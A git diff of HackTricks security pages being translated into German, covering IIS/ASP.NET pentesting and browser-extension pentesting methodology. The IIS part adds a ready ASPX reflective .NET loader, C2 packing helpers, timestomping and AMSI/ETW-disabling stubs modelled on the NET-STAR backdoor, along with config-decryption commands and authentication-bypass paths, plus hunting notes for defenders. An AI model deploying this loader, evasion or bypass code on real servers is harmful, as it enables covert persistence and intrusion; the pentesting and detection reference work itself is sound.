@ -183,45 +183,162 @@ C:\xampp\security\webdav.htpasswd
 C:\xampp\sendmail\sendmail.ini
 C:\xampp\tomcat\conf\server.xml
 ```
-## HTTPAPI 2.0 404 Fehler
+## HTTPAPI 2.0 404 Error

-Wenn Sie einen Fehler wie den folgenden sehen:
+If you see an error like the following one:

 ![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)

-bedeutet das, dass der Server **den korrekten Domainnamen** im Host-Header **nicht erhalten hat**.\
-Um auf die Webseite zuzugreifen, könnten Sie das **SSL-Zertifikat** überprüfen und vielleicht finden Sie dort den Domain-/Subdomainnamen. Wenn er dort nicht vorhanden ist, müssen Sie möglicherweise **VHosts brute forcen**, bis Sie den richtigen finden.
+Das bedeutet, dass der Server den korrekten Domainnamen nicht im Host header **erhalten hat**.\
+Um auf die Webseite zuzugreifen, können Sie sich das ausgestellte **SSL Certificate** ansehen — möglicherweise finden Sie dort den Domain-/Subdomain-Namen. Falls dieser nicht vorhanden ist, müssen Sie eventuell **VHosts brute-forcen**, bis Sie den richtigen gefunden haben.

-## Alte IIS-Sicherheitsanfälligkeiten, die es wert sind, untersucht zu werden
+## Decrypt encrypted configuration and ASP.NET Core Data Protection key rings

-### Microsoft IIS Tilde-Zeichen “\~” Sicherheitsanfälligkeit/Funktion – Offenlegung kurzer Datei-/Ordnernamen
+Zwei gängige Muster, um Geheimnisse in auf IIS gehosteten .NET-Apps zu schützen, sind:
+- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) für web.config-Abschnitte wie <connectionStrings>.
+- ASP.NET Core Data Protection key ring (lokal gespeichert), verwendet zum Schutz von Anwendungsgeheimnissen und Cookies.

-Sie können versuchen, **Ordner und Dateien** in jedem entdeckten Ordner aufzulisten (auch wenn dies eine Basisauthentifizierung erfordert) mit dieser **Technik**.\
-Die Hauptbeschränkung dieser Technik, wenn der Server anfällig ist, besteht darin, dass **sie nur die ersten 6 Buchstaben des Namens jeder Datei/jedes Ordners und die ersten 3 Buchstaben der Erweiterung** der Dateien finden kann.
+Wenn Sie Dateisystem- oder interaktiven Zugriff auf den Webserver haben, erlauben lokal vorhandene Schlüssel oft die Entschlüsselung.

-Sie können [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) verwenden, um diese Sicherheitsanfälligkeit zu testen: `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
+- ASP.NET (Full Framework) – geschützte config-Abschnitte mit aspnet_regiis entschlüsseln:
+```cmd
+# Decrypt a section by app path (site configured in IIS)
+%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
+
+# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
+%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
+```
+- ASP.NET Core – suche nach Data Protection key rings, die lokal (XML/JSON Dateien) an Orten wie gespeichert sind:
+- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
+- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
+- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
+
+Mit dem verfügbaren key ring kann ein Operator, der in der Identität der App läuft, ein IDataProtector mit denselben Purposes instanziieren und gespeicherte Secrets unprotecten. Fehlkonfigurationen, die den key ring zusammen mit den App-Dateien ablegen, machen die Offline‑Entschlüsselung trivial, sobald der Host kompromittiert ist.
+
+## IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
+
+Das Phantom Taurus/NET-STAR Toolkit zeigt ein ausgereiftes Muster für fileless IIS persistence und post‑exploitation, das vollständig innerhalb von w3wp.exe abläuft. Die Kernideen sind allgemein wiederverwendbar für custom tradecraft sowie für detection/hunting.
+
+Key building blocks
+- ASPX bootstrapper hosting an embedded payload: eine einzelne .aspx Seite (z. B. OutlookEN.aspx) trägt eine Base64‑kodierte, optional Gzip‑komprimierte .NET DLL. Bei einem Trigger‑Request dekodiert, dekomprimiert und lädt sie die DLL per Reflection in das aktuelle AppDomain und ruft den Haupteinstiegspunkt auf (z. B. ServerRun.Run()).
+- Cookie‑scoped, encrypted C2 with multi‑stage packing: Aufgaben/Ergebnisse werden mit Gzip → AES‑ECB/PKCS7 → Base64 verpackt und über scheinbar legitime, cookie‑reiche Requests verschoben; Operatoren verwendeten stabile Delimiter (z. B. "STAR") zum Chunking.
+- Reflective .NET execution: akzeptiert beliebige managed assemblies als Base64, lädt sie via Assembly.Load(byte[]) und übergibt Operator‑Args für schnelle Modulwechsel ohne Disk‑I/O.
+- Operating in precompiled ASP.NET sites: fügt Hilfs‑Shells/Backdoors hinzu oder verwaltet sie, selbst wenn die Site precompiled ist (z. B. fügt ein Dropper dynamische Seiten/Handler hinzu oder nutzt config handlers) – erreichbar über Befehle wie bypassPrecompiledApp, addshell, listshell, removeshell.
+- Timestomping/metadata forgery: stellt eine changeLastModified‑Action bereit und timestompt bei der Bereitstellung (einschließlich zukünftiger Kompilations‑Timestamps), um DFIR zu erschweren.
+- Optional AMSI/ETW pre‑disable for loaders: ein Second‑Stage‑Loader kann AMSI und ETW deaktivieren, bevor Assembly.Load aufgerufen wird, um die Inspektion von in‑memory Payloads zu reduzieren.
+
+Minimal ASPX loader pattern
+```aspx
+<%@ Page Language="C#" %>
+<%@ Import Namespace="System" %>
+<%@ Import Namespace="System.IO" %>
+<%@ Import Namespace="System.IO.Compression" %>
+<%@ Import Namespace="System.Reflection" %>
+<script runat="server">
+protected void Page_Load(object sender, EventArgs e){
+// 1) Obtain payload bytes (hard‑coded blob or from request)
+string b64 = /* hardcoded or Request["d"] */;
+byte[] blob = Convert.FromBase64String(b64);
+// optional: decrypt here if AES is used
+using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
+using(var ms = new MemoryStream()){
+gz.CopyTo(ms);
+var asm = Assembly.Load(ms.ToArray());
+// 2) Invoke the managed entry point (e.g., ServerRun.Run)
+var t = asm.GetType("ServerRun");
+var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
+object inst = m.IsStatic ? null : Activator.CreateInstance(t);
+m.Invoke(inst, new object[]{ HttpContext.Current });
+}
+}
+}
+</script>
+```
+Packing/crypto-Hilfsfunktionen (Gzip + AES‑ECB + Base64)
+```csharp
+using System.Security.Cryptography;
+
+static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
+using(var aes = Aes.Create()){
+aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
+ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
+return t.TransformFinalBlock(data, 0, data.Length);
+}
+}
+
+static string Pack(object obj, byte[] key){
+// serialize → gzip → AES‑ECB → Base64
+byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
+using var ms = new MemoryStream();
+using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
+byte[] enc = AesEcb(ms.ToArray(), key, true);
+return Convert.ToBase64String(enc);
+}
+
+static T Unpack<T>(string b64, byte[] key){
+byte[] enc = Convert.FromBase64String(b64);
+byte[] cmp = AesEcb(enc, key, false);
+using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
+using var outMs = new MemoryStream(); gz.CopyTo(outMs);
+return Deserialize<T>(outMs.ToArray());
+}
+```
+Cookie/session-Ablauf und Befehlsoberfläche
+- Session bootstrap und tasking werden über cookies übertragen, um sich in normale Web-Aktivität einzufügen.
+- In freier Wildbahn beobachtete Befehle umfassten: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; und die dynamischen Ausführungsprimitiven code_self, code_pid, run_code für in‑memory .NET-Ausführung.
+
+Timestomping-Dienstprogramm
+```csharp
+File.SetCreationTime(path, ts);
+File.SetLastWriteTime(path, ts);
+File.SetLastAccessTime(path, ts);
+```
+Inline-Deaktivierung von AMSI/ETW vor Assembly.Load (loader variant)
+```csharp
+// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
+// and ntdll!EtwEventWrite to a stub; then load operator assembly
+DisableAmsi();
+DisableEtw();
+Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
+```
+Siehe AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
+
+Hunting notes (defenders)
+- Einzelne, merkwürdige ASPX-Seite mit sehr langen Base64/Gzip-Blobs; cookie‑lastige POSTs.
+- Ungebackene managed modules innerhalb von w3wp.exe; Strings wie Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
+- Wiederholte Delimiter wie "STAR" im Traffic; nicht übereinstimmende oder sogar zukünftige Zeitstempel in ASPX/assemblies.
+
+## Old IIS vulnerabilities worth looking for
+
+
+### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
+
+Du kannst versuchen, mit dieser **technique** in jedem entdeckten Ordner **folders and files zu enumeraten** (auch wenn Basic Authentication erforderlich ist).\
+Die Hauptbeschränkung dieser Technik, falls der Server verwundbar ist: **sie kann nur bis zu den ersten 6 Buchstaben des Namens jeder Datei/jedes Ordners und die ersten 3 Buchstaben der Dateiendung** finden.
+
+Du kannst [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) verwenden, um diese Schwachstelle zu testen: `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`

 ![](<../../images/image (844).png>)

-Ursprüngliche Forschung: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
+Original research: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)

-Sie können auch **metasploit** verwenden: `use scanner/http/iis_shortname_scanner`
+Du kannst auch **metasploit** verwenden: `use scanner/http/iis_shortname_scanner`

-Eine gute Idee, um den **endgültigen Namen** der entdeckten Dateien zu **finden**, ist es, **LLMs** nach Optionen zu fragen, wie es im Skript [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) gemacht wird.
+Eine gute Idee, um den endgültigen Namen der gefundenen Dateien zu **finden**, ist, **LLMs** nach möglichen Optionen zu fragen, wie es im Script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) gemacht wird.

-### Umgehung der Basisauthentifizierung
+### Basic Authentication bypass

-**Umgehen** Sie eine Basisauthentifizierung (**IIS 7.5**) und versuchen Sie, auf zuzugreifen: `/admin:$i30:$INDEX_ALLOCATION/admin.php` oder `/admin::$INDEX_ALLOCATION/admin.php`
+**Bypass** einer Basic Authentication (**IIS 7.5**) durch Zugriff auf: `/admin:$i30:$INDEX_ALLOCATION/admin.php` oder `/admin::$INDEX_ALLOCATION/admin.php`

-Sie können versuchen, diese **Sicherheitsanfälligkeit** mit der letzten zu **kombinieren**, um neue **Ordner** zu finden und die Authentifizierung zu **umgehen**.
+Du kannst versuchen, diese **vulnerability** mit der vorherigen zu **mixen**, um neue **folders** zu finden und die Authentifizierung zu **bypass**en.

-## ASP.NET Trace.AXD aktivierte Debugging
+## ASP.NET Trace.AXD enabled debugging

-ASP.NET enthält einen Debugging-Modus, und die Datei heißt `trace.axd`.
+ASP.NET enthält einen Debugging-Modus und die Datei heißt `trace.axd`.

-Es führt ein sehr detailliertes Protokoll aller Anfragen, die über einen bestimmten Zeitraum an eine Anwendung gestellt wurden.
+Sie führt ein sehr detailliertes Log aller Requests, die an eine Anwendung innerhalb eines Zeitraums gemacht wurden.

-Diese Informationen umfassen die IPs der Remote-Clients, Sitzungs-IDs, alle Anforderungs- und Antwort-Cookies, physische Pfade, Quellcodeinformationen und möglicherweise sogar Benutzernamen und Passwörter.
+Diese Informationen beinhalten Remote-Client-IPs, Session-IDs, alle Request- und Response-Cookies, physische Pfade, Quellcode-Informationen und potenziell sogar Benutzernamen und Passwörter.

 [https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)

@ -231,17 +348,17 @@ Diese Informationen umfassen die IPs der Remote-Clients, Sitzungs-IDs, alle Anfo

 ASPXAUTH verwendet die folgenden Informationen:

- **`validationKey`** (string): hex-kodierter Schlüssel zur Verwendung für die Signaturvalidierung.
+- **`validationKey`** (string): hex-kodierter Schlüssel zur Signatur-Validierung.
 - **`decryptionMethod`** (string): (Standard “AES”).
 - **`decryptionIV`** (string): hex-kodierter Initialisierungsvektor (Standard ist ein Vektor aus Nullen).
- **`decryptionKey`** (string): hex-kodierter Schlüssel zur Verwendung für die Entschlüsselung.
+- **`decryptionKey`** (string): hex-kodierter Schlüssel zur Dekryptierung.

-Einige Personen verwenden jedoch die **Standardwerte** dieser Parameter und verwenden als **Cookie die E-Mail des Benutzers**. Daher, wenn Sie eine Webseite finden können, die die **gleiche Plattform** verwendet und das ASPXAUTH-Cookie verwendet, und Sie **einen Benutzer mit der E-Mail des Benutzers erstellen, den Sie auf dem angegriffenen Server nachahmen möchten**, könnten Sie in der Lage sein, das **Cookie vom zweiten Server im ersten zu verwenden** und den Benutzer nachzuahmen.\
-Dieser Angriff funktionierte in diesem [**Bericht**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
+Allerdings verwenden manche Leute die **Standardwerte** dieser Parameter und nutzen als **Cookie die E-Mail des Benutzers**. Daher: Wenn du eine Website findest, die dieselbe Plattform verwendet und dort einen Benutzer mit der E-Mail des Benutzers erstellst, den du impersonieren möchtest, könntest du möglicherweise den Cookie vom zweiten Server im ersten verwenden und dich als dieser Benutzer ausgeben.\
+Dieser Angriff funktionierte in diesem [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).

-## IIS-Authentifizierungsumgehung mit zwischengespeicherten Passwörtern (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
+## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>

-[Vollständiger Bericht hier](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Ein Fehler im Code **überprüfte das vom Benutzer angegebene Passwort nicht ordnungsgemäß**, sodass ein Angreifer, dessen **Passworthash einen Schlüssel trifft**, der bereits im **Cache** ist, sich als dieser Benutzer anmelden kann.
+[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Ein Bug im Code **prüfte das vom Benutzer eingegebene Passwort nicht korrekt**, sodass ein Angreifer, dessen **Password-Hash auf einen Schlüssel** trifft, der bereits im **Cache** vorhanden ist, sich als dieser Benutzer einloggen kann.
 ```python
 # script for sanity check
 > type test.py
@ -261,4 +378,9 @@ HTTP/1.1 401 Unauthorized
 > curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
 HTTP/1.1 200 OK
 ```
+## Referenzen
+
+- [Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/)
+- [AMSI/ETW bypass background (HackTricks)](../../windows-hardening/av-bypass.md)
+
 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
@ -1,41 +1,41 @@
-# Browser Extension Pentesting Methodology
+# Pentesting-Methodologie für Browser-Extensions

 {{#include ../../banners/hacktricks-training.md}}

-## Grundinformationen
+## Grundlegende Informationen

-Browsererweiterungen sind in JavaScript geschrieben und werden vom Browser im Hintergrund geladen. Sie haben ihr eigenes [DOM](https://www.w3schools.com/js/js_htmldom.asp), können jedoch mit den DOMs anderer Seiten interagieren. Das bedeutet, dass sie die Vertraulichkeit, Integrität und Verfügbarkeit (CIA) anderer Seiten gefährden können.
+Browser-Extensions werden in JavaScript geschrieben und vom Browser im Hintergrund geladen. Sie haben ihr [DOM](https://www.w3schools.com/js/js_htmldom.asp), können aber mit den DOMs anderer Sites interagieren. Das bedeutet, dass sie die Vertraulichkeit, Integrität und Verfügbarkeit (CIA) anderer Sites beeinträchtigen können.

 ## Hauptkomponenten

-Die Layouts von Erweiterungen sehen am besten aus, wenn sie visualisiert werden, und bestehen aus drei Komponenten. Lassen Sie uns jede Komponente im Detail betrachten.
+Die Architektur einer Extension lässt sich am besten visualisieren und besteht aus drei Komponenten. Schauen wir uns jede Komponente genauer an.

 <figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>

-### **Inhalts-Skripte**
+### **Content Scripts**

-Jedes Inhalts-Skript hat direkten Zugriff auf das DOM einer **einzelnen Webseite** und ist damit potenziell schädlichem Input ausgesetzt. Das Inhalts-Skript enthält jedoch keine Berechtigungen, außer der Fähigkeit, Nachrichten an den Erweiterungskern zu senden.
+Jedes Content Script hat direkten Zugriff auf das DOM einer **einzelnen Webseite** und ist damit potenziell **bösartigen Eingaben** ausgesetzt. Das Content Script besitzt jedoch keine Berechtigungen außer der Möglichkeit, Nachrichten an den extension core zu senden.

-### **Erweiterungskern**
+### **Extension Core**

-Der Erweiterungskern enthält die meisten Berechtigungen/Zugriffe der Erweiterung, kann jedoch nur über [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) und Inhalts-Skripte mit Webinhalten interagieren. Außerdem hat der Erweiterungskern keinen direkten Zugriff auf die Hostmaschine.
+Der extension core enthält die meisten Privilegien/Zugriffsrechte der Extension, kann jedoch nur über [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) und Content Scripts mit Web-Content interagieren. Außerdem hat der extension core keinen direkten Zugriff auf das Host-System.

-### **Native Binärdatei**
+### **Native Binary**

-Die Erweiterung erlaubt eine native Binärdatei, die **auf die Hostmaschine mit den vollen Rechten des Benutzers zugreifen kann.** Die native Binärdatei interagiert über die standardmäßige Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)), die von Flash und anderen Browser-Plugins verwendet wird, mit dem Erweiterungskern.
+Die Extension erlaubt ein natives Binary, das mit den vollen Benutzerprivilegien auf das Host-System zugreifen kann. Das native Binary interagiert mit dem extension core durch die standardmäßige Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)), die von Flash und anderen Browser-Plug-ins verwendet wird.

-### Grenzen
+### Boundaries

 > [!CAUTION]
-> Um die vollen Berechtigungen des Benutzers zu erhalten, muss ein Angreifer die Erweiterung überzeugen, schädlichen Input vom Inhalts-Skript an den Kern der Erweiterung und vom Kern der Erweiterung an die native Binärdatei weiterzugeben.
+> Um die vollen Benutzerprivilegien zu erlangen, muss ein Angreifer die Extension dazu bringen, bösartige Eingaben vom Content Script an den extension core und vom extension core an das native Binary weiterzuleiten.

-Jede Komponente der Erweiterung ist durch **starke Schutzgrenzen** voneinander getrennt. Jede Komponente läuft in einem **separaten Betriebssystemprozess**. Inhalts-Skripte und Erweiterungskerne laufen in **Sandbox-Prozessen**, die für die meisten Betriebssystemdienste nicht verfügbar sind.
+Jede Komponente der Extension ist durch **starke Schutzgrenzen** voneinander getrennt. Jede Komponente läuft in einem **separaten Betriebssystemprozess**. Content Scripts und extension cores laufen in **Sandbox-Prozessen**, die den meisten Betriebssystemdiensten nicht zur Verfügung stehen.

-Darüber hinaus sind Inhalts-Skripte von ihren zugehörigen Webseiten getrennt, indem sie **in einem separaten JavaScript-Heap** ausgeführt werden. Das Inhalts-Skript und die Webseite haben **Zugriff auf dasselbe zugrunde liegende DOM**, aber die beiden **tauschen niemals JavaScript-Zeiger aus**, was das Leaken von JavaScript-Funktionalität verhindert.
+Außerdem sind Content Scripts von ihren zugehörigen Webseiten getrennt, indem sie in einem separaten JavaScript-Heap laufen. Das Content Script und die Webseite haben Zugriff auf dasselbe zugrundeliegende DOM, tauschen jedoch niemals JavaScript-Pointer aus, wodurch das leaking von JavaScript-Funktionalität verhindert wird.

 ## **`manifest.json`**

-Eine Chrome-Erweiterung ist einfach ein ZIP-Ordner mit einer [.crx-Dateierweiterung](https://www.lifewire.com/crx-file-2620391). Der Kern der Erweiterung ist die **`manifest.json`**-Datei im Stammverzeichnis des Ordners, die Layout, Berechtigungen und andere Konfigurationsoptionen angibt.
+Eine Chrome-Extension ist im Grunde ein ZIP-Ordner mit einer [.crx file extension](https://www.lifewire.com/crx-file-2620391). Der Kern der Extension ist die Datei **`manifest.json`** im Root des Ordners, die Layout, Berechtigungen und andere Konfigurationsoptionen festlegt.

 Beispiel:
 ```json
@ -61,7 +61,7 @@ Beispiel:
 ```
 ### `content_scripts`

-Content-Skripte werden **geladen**, wann immer der Benutzer zu einer übereinstimmenden Seite **navigiert**, in unserem Fall zu jeder Seite, die dem **`https://example.com/*`** Ausdruck entspricht und nicht dem **`*://*/*/business*`** Regex entspricht. Sie werden **wie die eigenen Skripte der Seite** ausgeführt und haben beliebigen Zugriff auf das [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) der Seite.
+Content scripts werden **geladen**, wann immer der Benutzer **zu einer passenden Seite navigiert**, in unserem Fall jede Seite, die dem **`https://example.com/*`** Ausdruck entspricht und nicht dem **`*://*/*/business*`** regex. Sie werden **wie die eigenen Skripte der Seite** ausgeführt und haben uneingeschränkten Zugriff auf das Seiten-[Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
 ```json
 "content_scripts": [
 {
@ -76,9 +76,9 @@ Content-Skripte werden **geladen**, wann immer der Benutzer zu einer übereinsti
 }
 ],
 ```
-Um weitere URLs einzuschließen oder auszuschließen, ist es auch möglich, **`include_globs`** und **`exclude_globs`** zu verwenden.
+Um weitere URLs einzuschließen oder auszuschließen, ist es außerdem möglich, **`include_globs`** und **`exclude_globs`** zu verwenden.

-Dies ist ein Beispiel für ein Inhalts-Skript, das einen Erklär-Button zur Seite hinzufügt, wenn [die Storage-API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) verwendet wird, um den `message`-Wert aus dem Speicher der Erweiterung abzurufen.
+Dies ist ein Beispiel-Content-Script, das der Seite einen Explain-Button hinzufügt, wenn [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) verwendet wird, um den `message`-Wert aus dem Speicher der Extension abzurufen.
 ```js
 chrome.storage.local.get("message", (result) => {
 let div = document.createElement("div")
@ -91,24 +91,24 @@ document.body.appendChild(div)
 ```
 <figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>

-Eine Nachricht wird an die Erweiterungsseiten vom Inhalts-Skript gesendet, wenn dieser Button geklickt wird, durch die Nutzung der [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Dies liegt an der Einschränkung des Inhalts-Skripts im direkten Zugriff auf APIs, wobei `storage` eine der wenigen Ausnahmen ist. Für Funktionalitäten, die über diese Ausnahmen hinausgehen, werden Nachrichten an Erweiterungsseiten gesendet, mit denen Inhalts-Skripte kommunizieren können.
+Eine Nachricht wird vom content script an die extension pages gesendet, wenn dieser Button angeklickt wird — und zwar über die Verwendung der [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Dies liegt an der Einschränkung, dass content scripts nicht direkt auf alle APIs zugreifen können; `storage` gehört zu den wenigen Ausnahmen. Für Funktionalitäten, die über diese Ausnahmen hinausgehen, werden Nachrichten an extension pages geschickt, mit denen content scripts kommunizieren können.

 > [!WARNING]
-> Je nach Browser können die Fähigkeiten des Inhalts-Skripts leicht variieren. Für Chromium-basierte Browser ist die Liste der Fähigkeiten in der [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) verfügbar, und für Firefox dient die [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) als primäre Quelle.\
-> Es ist auch bemerkenswert, dass Inhalts-Skripte die Fähigkeit haben, mit Hintergrund-Skripten zu kommunizieren, was es ihnen ermöglicht, Aktionen auszuführen und Antworten zurückzugeben.
+> Je nach Browser können die Fähigkeiten des content scripts leicht variieren. Für Chromium-basierte Browser ist die Auflistung der Fähigkeiten in der [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) verfügbar, und für Firefox dient die [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) als Hauptquelle.\
+> Es ist außerdem erwähnenswert, dass content scripts mit background scripts kommunizieren können, wodurch sie Aktionen ausführen und Antworten zurückmelden können.

-Um Inhalts-Skripte in Chrome anzuzeigen und zu debuggen, kann das Menü der Chrome-Entwicklertools über Optionen > Weitere Tools > Entwicklertools oder durch Drücken von Ctrl + Shift + I aufgerufen werden.
+Zum Anzeigen und Debuggen von content scripts in Chrome kann das Chrome developer tools-Menü über Options > More tools > Developer tools aufgerufen werden ODER durch Drücken von Ctrl + Shift + I.

-Sobald die Entwicklertools angezeigt werden, ist der **Quell-Tab** anzuklicken, gefolgt vom **Inhalts-Skripte**-Tab. Dies ermöglicht die Beobachtung von laufenden Inhalts-Skripten aus verschiedenen Erweiterungen und das Setzen von Haltepunkten, um den Ausführungsfluss zu verfolgen.
+Wenn die Developer Tools angezeigt werden, klickt man auf den **Source-Tab**, gefolgt vom **Content Scripts-Tab**. So können laufende content scripts verschiedener Extensions beobachtet und Breakpoints gesetzt werden, um den Ausführungsfluss nachzuverfolgen.

-### Eingespritzte Inhalts-Skripte
+### Injizierte Content Scripts

 > [!TIP]
-> Beachten Sie, dass **Inhalts-Skripte nicht zwingend erforderlich sind**, da es auch möglich ist, Skripte **dynamisch** zu **injizieren** und sie **programmgesteuert** in Webseiten über **`tabs.executeScript`** zu injizieren. Dies bietet tatsächlich mehr **granulare Kontrollen**.
+> Beachte, dass **Content Scripts nicht zwingend erforderlich sind**, da Skripte auch **dynamisch** bzw. **programmgesteuert** per **`tabs.executeScript`** in Webseiten injiziert werden können. Das bietet tatsächlich feinere Kontrollen.

-Für die programmgesteuerte Injektion eines Inhalts-Skripts muss die Erweiterung [Host-Berechtigungen](https://developer.chrome.com/docs/extensions/reference/permissions) für die Seite haben, in die die Skripte injiziert werden sollen. Diese Berechtigungen können entweder durch **Anfordern** innerhalb des Manifests der Erweiterung oder vorübergehend über [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) gesichert werden.
+Für die programmgesteuerte Injektion eines content scripts muss die Extension [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) für die Seite besitzen, in die die Skripte injiziert werden sollen. Diese Berechtigungen können entweder durch **Anforderung** im Manifest der Extension gesichert werden oder vorübergehend über [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).

-#### Beispiel für eine activeTab-basierte Erweiterung
+#### Beispiel: activeTab-basierte Extension
 ```json:manifest.json
 {
 "name": "My extension",
@ -125,7 +125,7 @@ Für die programmgesteuerte Injektion eines Inhalts-Skripts muss die Erweiterung
 }
 }
 ```
- **Injiziere eine JS-Datei beim Klicken:**
+- **JS-Datei bei Klick injizieren:**
 ```javascript
 // content-script.js
 document.body.style.backgroundColor = "orange"
@ -138,7 +138,7 @@ files: ["content-script.js"],
 })
 })
 ```
- **Funktion bei Klick injizieren:**
+- **Funktion injizieren** bei Klick:
 ```javascript
 //service-worker.js - Inject a function
 function injectedFunction() {
@ -152,7 +152,7 @@ func: injectedFunction,
 })
 })
 ```
-#### Beispiel mit Skriptberechtigungen
+#### Beispiel mit scripting permissions
 ```javascript
 // service-workser.js
 chrome.scripting.registerContentScripts([
@ -167,17 +167,17 @@ js: ["contentScript.js"],
 // Another example
 chrome.tabs.executeScript(tabId, { file: "content_script.js" })
 ```
-Um weitere URLs einzuschließen oder auszuschließen, ist es auch möglich, **`include_globs`** und **`exclude_globs`** zu verwenden.
+Um mehr URLs einzuschließen oder auszuschließen, ist es außerdem möglich, **`include_globs`** und **`exclude_globs`** zu verwenden.

 ### Content Scripts `run_at`

-Das Feld `run_at` steuert **wann JavaScript-Dateien in die Webseite eingefügt werden**. Der bevorzugte und Standardwert ist `"document_idle"`.
+Das Feld `run_at` steuert **wann JavaScript-Dateien in die Webseite injiziert werden**. Der bevorzugte und standardmäßige Wert ist `"document_idle"`.

 Die möglichen Werte sind:

 - **`document_idle`**: Wann immer möglich
- **`document_start`**: Nach allen Dateien von `css`, aber bevor andere DOM-Elemente erstellt oder andere Skripte ausgeführt werden.
